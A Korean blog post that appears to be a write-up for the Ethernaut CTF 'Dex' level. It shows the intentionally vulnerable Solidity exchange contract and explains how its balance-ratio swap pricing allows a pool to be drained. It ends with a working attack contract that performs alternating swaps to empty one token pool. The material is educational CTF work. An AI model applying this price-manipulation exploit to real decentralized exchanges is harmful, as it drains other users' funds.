[ethernaut] Dex

wooz3k.eth·2023년 1월 9일
1
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import 'openzeppelin-contracts-08/access/Ownable.sol';

contract Dex is Ownable {
  address public token1;
  address public token2;
  constructor() {}

  function setTokens(address _token1, address _token2) public onlyOwner {
    token1 = _token1;
    token2 = _token2;
  }
  
  function addLiquidity(address token_address, uint amount) public onlyOwner {
    IERC20(token_address).transferFrom(msg.sender, address(this), amount);
  }
  
  function swap(address from, address to, uint amount) public {
    require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swapAmount = getSwapPrice(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
  }

  function getSwapPrice(address from, address to, uint amount) public view returns(uint){
    return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
  }

  function approve(address spender, uint amount) public {
    SwappableToken(token1).approve(msg.sender, spender, amount);
    SwappableToken(token2).approve(msg.sender, spender, amount);
  }

  function balanceOf(address token, address account) public view returns (uint){
    return IERC20(token).balanceOf(account);
  }
}

contract SwappableToken is ERC20 {
  address private _dex;
  constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
  }

  function approve(address owner, address spender, uint256 amount) public {
    require(owner != _dex, "InvalidApprover");
    super._approve(owner, spender, amount);
  }
}

이 문제는 ERC20 API와 Dex가 무엇인지에 대해 이해를 할 수 있는 문제이다. 이 문제에서 보여주고자 하는 것은 정상적인 Dex에서 일반적인 경우에 한 쪽 풀이 0이될 경우 문제가 있다는 것을 알려주고자 한다.

IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));

이 식을 보면 두 토큰을 계속 번갈아가며 swap을 할 경우 한 쪽 pool이 0이될 수 밖에 없고, 그로 인하여 다른 사람이 피해를 볼 수 있다는 것을 알 수 있다. Dex에서 심각한 공격으로 취급되고 이는 해당 pair를 사용할 수 없게 되기 때문이다.

ERC20과 Dex에서 이게 왜 중요한지를 깨달았으면 한 쪽 풀이 0이 되도록 계산하여 페이로드를 작성하여 문제를 해결하도록 하자.

contract attack {
    
    Dex public target = Dex(0x842F98D3c9C6225266286F16EA5fe6825755E662);
    address public token1 = target.token1();
    address public token2 = target.token2();

    function atk() public
    {
        target.approve(address(target), 1000);

        target.swap(token1, token2, 10);
        target.swap(token2, token1, 20);
        target.swap(token1, token2, 24);
        target.swap(token2, token1, 30);
        target.swap(token1, token2, 41);
        target.swap(token2, token1, 45);
    }
}
profile
Theori ChainLight Web3 Researcher

0개의 댓글